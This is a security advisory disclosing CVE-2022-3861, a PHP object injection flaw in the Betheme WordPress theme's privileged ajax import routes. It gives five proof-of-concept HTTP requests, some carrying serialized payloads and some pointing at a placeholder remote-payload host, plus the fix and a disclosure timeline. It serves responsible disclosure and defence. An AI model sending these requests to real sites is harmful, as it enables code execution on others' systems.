RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: Betheme
Vendor URL: https://muffingroup.com/betheme/
Type: Deserialization of Untrusted Data [CWE-502]
Date found: 2022-11-02
Date published: 2022-11-18
CVSSv3 Score: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CVE: CVE-2022-3861
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
BeTheme 26.5.1.4 and below
4. INTRODUCTION
===============
Ever since Betheme was just an idea, we knew that it would be different from all
other multipurpose WordPress themes we’d tried before.
We wanted to build something more than just another WordPress theme, that could
easily adapt to any project you need to work on without writing any code. A theme
designed from scratch to save your time & help you enjoy your freedom...
(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
The WordPress theme is vulnerable to multiple PHP Object injections when processing
input to multiple, privileged Wordpress ajax routes:
-mfn_builder_import -> "mfn-items-import" parameter
-mfn_builder_import_page -> "mfn-items-import-page" parameter
-importdata -> "import" parameter
-importsinglepage -> "import" parameter
-importfromclipboard -> "import" parameter
To successfully exploit this vulnerability, an attacker must be authenticated with at
least Wordpress "Contributer" rights.
Successful exploits can allow the attacker to execute arbitrary code.
6. PROOF OF CONCEPT
===================
To exploit the "mfn_builder_import" ajax action, use:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 75
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [your-auth-cookies]
Connection: close
mfn-builder-nonce=[your-nonce]&action=mfn_builder_import&mfn-items-import=Tzo4OiJzdGRDbGFzcyI6MTp7czozOiJyY2UiO3M6ODoic2VjdXJpdHkiO30=
To exploit the "mfn_builder_import_page" ajax action, use:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 123
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [your-auth-cookies]
Connection: close
mfn-builder-nonce=[your-nonce]&action=mfn_builder_import_page&mfn-items-import-page=https://your-remote-payload.com/
To exploit the "importdata" ajax action, use:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 114
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [your-auth-cookies]
Connection: close
mfn-builder-nonce=[your-nonce]&action=importdata&import=Tzo4OiJzdGRDbGFzcyI6MTp7czozOiJyY2UiO3M6ODoic2VjdXJpdHkiO30=
To exploit the "importsinglepage" ajax action, use:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 83
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [your-auth-cookies]
Connection: close
mfn-builder-nonce=[your-nonce]&action=importsinglepage&import=https://your-remote-payload.com/
To exploit the "importfromclipboard" ajax action, use:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 123
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [your-auth-cookies]
Connection: close
mfn-builder-nonce=[your-nonce]&action=importfromclipboard&import=Tzo4OiJzdGRDbGFzcyI6MTp7czozOiJyY2UiO3M6ODoic2VjdXJpdHkiO30=
7. SOLUTION
===========
Update to version 26.6
8. REPORT TIMELINE
==================
2022-11-01: Discovery of the vulnerability
2022-11-03: CVE requested from Wordfence (CNA)
2022-11-04: Wordfence assigns CVE-2022-3861
2022-11-08: Vendor notification
2022-11-08: Opened up a security support case on envato.com since the vendor usually doesn't respond
2022-11-16: Envato responds stating that the vendor released 26.6 which fixes this vulnerability
2022-11-18: Public disclosure
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories